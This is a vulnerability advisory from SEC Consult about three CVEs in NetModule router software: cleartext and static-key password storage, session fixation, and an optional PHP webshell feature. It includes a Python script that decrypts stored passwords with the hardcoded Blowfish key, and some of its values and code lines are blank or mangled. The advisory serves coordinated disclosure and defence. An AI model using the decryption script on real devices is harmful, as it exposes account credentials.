Multiple Vulnerabilities in NetModule Router Software (NRSW)


Multiple Vulnerabilities in NetModule Router Software (NRSW)


NetModule Router Software (NRSW)

Vulnerable Version

<= LTS

Fixed Version

CVE Number

CVE-2021-39289, CVE-2021-39290, CVE-2021-39291






Gerhard Hechenberger, Steffen Robertz (Office Vienna) | SEC Consult Vulnerability Lab

These vulnerabilities were discovered during the research cooperation initiative "OT Cyber Security Lab" between Verbund AG and SEC Consult Group.


The router software (NRSW) used by NetModule on many of their devices is prone to multiple vulnerabilities, concerning the handling of passwords, the session management and optional features. If these vulnerabilities are exploited under specific conditions, it is possible to take over user accounts of the affected devices.

Vendor description

"NetModule is a leading manufacturer of communication products for M2M and IoT. One focus is on our solutions for applications in the fields of shipping, local and long-distance public transit, and Industrial Internet. Future markets such as Smart City, public safety, and sustainable energy and resource management are further focus areas. The key technology here is 5G.

Our devices are certified and include the latest wireless technologies along with multiple interfaces for applications where robust communication is essential, such as information systems, driver communication, passenger WiFi, remote maintenance, condition monitoring, and real-time data exchange."


"Our Linux-based router software ensures reliable data connections with a wide range of network functions and smart link management – stationary and mobile. Configuration and update options for secure operation throughout the product life cycle and over-the-air complete the package. As a special service, we offer you free updates and support."

"The NetModule router software (NRSW) is our standard software and runs on all our devices. This has the advantage of being able to use identical configuration processes and functions for every router (unless technical restrictions dictate otherwise). It is based on proven components such as Embedded Linux and a powerful communication protocol suite."



Business recommendation

The vendor provides patches, which should be installed immediately.

SEC Consult recommends to perform a thorough security review of these products conducted by security professionals to identify and resolve potential
further security issues.

We want to thank NetModule for the very professional response and great cooperation.


Vulnerability overview/description

1) Insecure Password Handling (CVE-2021-39289)

The device is storing passwords in an insecure way. For some of them, e.g., user accounts, password storage is an optional feature. For others, e.g., the certificate password, configuration possibilities do not exist.

  • Storing and sending passwords as cleartext
  • Storing passwords symmetrically encrypted with a static key

2) Limited Session Fixation via Cookie (CVE-2021-39290)

An arbitrary session token cookie value can be used on the web interface. If a session token with an arbitrary value is available, the device does not create a new one during the login process. Also, after the logout, no new session token will be issued. An attacker which is able to create cookies on the victim's client (via potential HTTP Response Splitting, Malware, physical access, ...) can use this to take over the session of the victim.

3) Insecure Feature (Web CLI) (CVE-2021-39291)

The interface supports an optional "CLI-PHP" feature, which is essentially a PHP webshell. Authentication is needed and the credentials can be sent as GET parameters. As GET parameters are part of the URL and URLs are frequently stored, this may enable attackers with access to such logs to take over the used account.


Proof of concept

1) Insecure Password Handling (CVE-2021-39289)

Storing and sending passwords as cleartext

The certificate settings are located at

SYSTEM -> Keys & Certificates -> Configuration.

When visiting the following URL, the certificate password will be included in cleartext in the response:


Find the response below:

HTTP/1.1 200 OK
X-Powered-By: PHP/5.6.31
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-type: text/html; charset=ISO-8859-1
Connection: close
Date: Mon, 26 Apr 2021 07:20:26 GMT
Server: lighttpd/1.4.39
Content-Length: 25448
<td class="c2_left">Passphrase:</td>
<td class="c2_right">
<input type="password" id="phrase" name="phrase" size=20 value="password12"

Additionally, the password is stored in cleartext in the file


on the device, the line reads:



Storing passwords symmetrically encrypted with a static key

The passwords are stored in the configuration file on the device, which can also be downloaded at 

SYSTEM -> File Configuration -> Download

The downloaded ZIP file will contain a *.cfg file, which includes several encrypted passwords (the values are prefixed with "[enc]", e.g.:


The used encryption is Blowfish CBC with a static key and initialization vector, therefore, the passwords can easily be decrypted. This can be done with
the following script:

#!/usr/bin/env python3
import sys
import base64
from Crypto.Cipher import Blowfish
data_b64 = sys.argv[1]
key = b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
iv = b"\x00\x00\x00\x00\x00\x00\x00\x00"
cipher =, Blowfish.MODE_CBC, iv)
data_enc = base64.b64decode(data_b64)
data_pad = cipher.decrypt(data_enc)
num_pad = int(data_pad[-1])
data = data_pad[:-num_pad]

The value in the configuration file can be decrypted as follows:

$ ./ UauZghllTu7Jy7pF3mdkFA==

2) Limited Session Fixation via Cookie (CVE-2021-39290)

The session token is stored as cookie named "PHPSESSID". To show the issue, execute the following steps:

  • Set the "PHPSESSID" cookie in scope of the web interface to an arbitrary value while logged out.
  • Log in. Observe that the cookie remains unchanged.
  • Log out. Observe that the cookie remains unchanged.

3) Insecure Feature (Web CLI) (CVE-2021-39291)

The Web CLI can be enabled at:

SERVICES -> Web Server -> Enable CLI-PHP

It is available and can be used at the following URL:


Vulnerable / tested versions

The following firmware/device has been tested:

  • NetModule NB1600: Firmware version LTS

According to the vendor, the following models with firmware versions before, and are affected:

  • NB800
  • NB1600
  • NB1601
  • NB1800
  • NB1810
  • NB2700
  • NB2710
  • NB2800
  • NB2810
  • NB3700
  • NB3701
  • NB3710
  • NB3711
  • NB3720
  • NB3800


Vendor contact timeline

2021-05-25 Contacting vendor through, asking for security contact information. Set release date to
2021-07-14 Received vendor response concerning further steps.
2021-05-26 Advisory was transmitted to head of PM and acknowledged.
2021-06-16 In a call, the vendor acknowledges the findings and ensures to keep us updated on the upcoming release of a fixed firmware version.
2021-07-23 The vendor notifies us about the release of a fixed firmware version on 2021-07-04.
2021-08-10 The vendor was notified about the pending release.
2021-08-19 The vendor provides information on all supported and fixed major releases.
2021-08-20 Coordinated release of security advisory.


Update the affected devices to software version, or Additionally, do not use insecure features and pay close attention to warning messages during the configuration.

For more information see vendor's release notes:




EOF  Gerhard Hechenberger @ 2021

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